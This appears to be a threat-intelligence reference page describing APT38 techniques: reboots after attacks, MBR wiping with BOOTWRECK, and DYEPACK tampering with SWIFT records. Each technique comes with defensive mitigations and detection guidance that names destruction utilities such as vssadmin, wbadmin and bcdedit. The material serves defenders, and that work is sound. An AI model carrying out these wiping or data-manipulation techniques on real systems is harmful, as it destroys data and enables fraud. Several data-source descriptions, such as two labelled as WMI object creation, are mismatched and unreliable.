Consider implementing IT disaster recovery plans that contain procedures for regularly taking and testing data backups that can be used to restore organizational data. Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery. Consider enabling versioning in cloud environments to maintain backup copies of storage objects.
Monitoring the following activities in your Organization can help you detect this technique.
Cloud Storage: Cloud Storage Modification
Changes made to cloud storage infrastructure, including its settings and/or data (ex: AWS S3 PutObject or PutObjectAcl)
Monitor for changes made in cloud environments for events that indicate storage objects have been anomalously modified.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Monitor executed commands and arguments for actions involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit
File: File Creation
Initial construction of a new file (ex: Sysmon EID 11)
Monitor for newly constructed files in user directories.
File: File Modification
Changes made to a file, or its access permissions and attributes, typically to alter the contents of the targeted file (ex: Windows EID 4670 or Sysmon EID 2)
Monitor for changes made to files in user directories.
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Monitor for newly constructed processes and/or command-lines involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit.
APT38 has used a custom MBR wiper named BOOTWRECK, which will initiate a system reboot after wiping the victim's MBR.
Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device. Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as Disk Structure Wipe or Inhibit System Recovery, to hasten the intended effects on system availability.
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.
Monitoring the following activities in your Organization can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Monitor executed commands and arguments of binaries involved in shutting down or rebooting systems.
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Monitor for newly executed processes of binaries involved in shutting down or rebooting systems.
Sensor Health: Host Status
Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Monitor for logging, messaging, and other artifacts highlighting the health of host sensors (ex: metrics, errors, and/or exceptions from logging applications) that may suggest the shutting down or rebooting of the system. Windows event logs may also designate activity associated with a shutdown/reboot, ex. Event ID 1074 and 6006.
APT38 has used a custom MBR wiper named BOOTWRECK to render systems inoperable.
Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources.
Adversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table. The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. Disk Structure Wipe may be performed in isolation, or along with Disk Content Wipe if all sectors of a disk are wiped.
To maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares.
Data Backup
Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data. Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.
Monitoring the following activities in your Organization can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Monitor executed commands and arguments that may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources.
Drive: Drive Access
Opening of a data storage device with an assigned drive letter or mount point
Monitor for newly constructed drive letters or mount points to a data storage device for attempts to write to sensitive locations like the partition boot sector, master boot record, disk partition table, or BIOS parameter block/superblock.
Drive: Drive Modification
Changes made to a drive letter or mount point of a data storage device
Monitor for changes made to drive letters or mount points of data storage devices for attempts to read to sensitive locations like the partition boot sector, master boot record, disk partition table, or BIOS parameter block/superblock.
Driver: Driver Load
Attaching a driver to either user or kernel-mode of a system (ex: Sysmon EID 6)
Monitor for unusual kernel driver installation activity may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources.
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Monitor newly executed processes that may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources.
APT38 has used DYEPACK to create, delete, and alter records in databases used for SWIFT transactions.
Adversaries may insert, delete, or manipulate data at rest in order to influence external outcomes or hide activity, thus threatening the integrity of the data. By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.
Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.
Encrypt Sensitive Information
Consider encrypting important information to reduce an adversary’s ability to perform tailored data modifications.
Remote Data Storage
Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data. Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and manipulate backups.
Restrict File and Directory Permissions
Ensure least privilege principles are applied to important information resources to reduce exposure to data manipulation risk.
Monitoring the following activities in your Organization can help you detect this technique.
File: File Creation
Initial construction of a new file (ex: Sysmon EID 11)
Monitor for newly constructed files in order to manipulate external outcomes or hide activity
File: File Deletion
Removal of a file (ex: Sysmon EID 23, macOS ESF EID ES_EVENT_TYPE_AUTH_UNLINK, or Linux commands auditd unlink, rename, rmdir, unlinked, or renameat rules)
Monitor for unexpected deletion of a file in order to manipulate external outcomes or hide activity
File: File Modification
Changes made to a file, or its access permissions and attributes, typically to alter the contents of the targeted file (ex: Windows EID 4670 or Sysmon EID 2)
Monitor for unexpected files with manipulated data in order to manipulate external outcomes or hide activity
APT38 has used DYEPACK to manipulate SWIFT messages en route to a printer.
Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity, thus threatening the integrity of the data. By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.
Manipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.
Encrypt Sensitive Information
Encrypt all important data flows to reduce the impact of tailored modifications on data in transit.
Monitoring the following activities in your Organization can help you detect this technique.
Network Traffic: Network Traffic Content
Logged network traffic data showing both protocol header and body values (ex: PCAP)
Monitor for networks that solicits and obtains the configuration information of the queried device.
Network Traffic: Network Traffic Flow
Summarized network packet data, with metrics, such as protocol headers and volume (ex: Netflow or Zeek http.log)
Monitor for network traffic originating from unknown/unexpected hardware devices.
Process: OS API Execution
Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Monitor for API calls associated with altering data. Remote access tools with built-in features may interact directly with the Windows API to gather information.
APT38 has used DYEPACK.FOX to manipulate PDF data as it is accessed to remove traces of fraudulent SWIFT transactions from the data displayed to the end user.
Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user, thus threatening the integrity of the data. By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.
Adversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct Change Default File Association and Masquerading to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.
Network Segmentation
Identify critical business and system processes that may be targeted by adversaries and work to isolate and secure those systems against unauthorized access and tampering.
Restrict File and Directory Permissions
Prevent critical business and system processes from being replaced, overwritten, or reconfigured to load potentially malicious code.
Monitoring the following activities in your Organization can help you detect this technique.
File: File Creation
Initial construction of a new file (ex: Sysmon EID 11)
Monitor for newly constructed files in order to manipulate external outcomes or hide activity
File: File Deletion
Removal of a file (ex: Sysmon EID 23, macOS ESF EID ES_EVENT_TYPE_AUTH_UNLINK, or Linux commands auditd unlink, rename, rmdir, unlinked, or renameat rules)
Monitor for unexpected deletion of a file in order to manipulate external outcomes or hide activity
File: File Metadata
Contextual data about a file, which may include information such as name, the content (ex: signature, headers, or data/media), user/ower, permissions, etc.
Monitor for contextual data about a file, which may include information such as name, the content (ex: signature, headers, or data/media), user/ower, permissions, etc that would aid in the manipulation of data to hide activity
File: File Modification
Changes made to a file, or its access permissions and attributes, typically to alter the contents of the targeted file (ex: Windows EID 4670 or Sysmon EID 2)
Monitor for unexpected files with manipulated data in order to manipulate external outcomes or hide activity
Process: OS API Execution
Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Monitor for API calls associated with altering data. Remote access tools with built-in features may interact directly with the Windows API to gather information.
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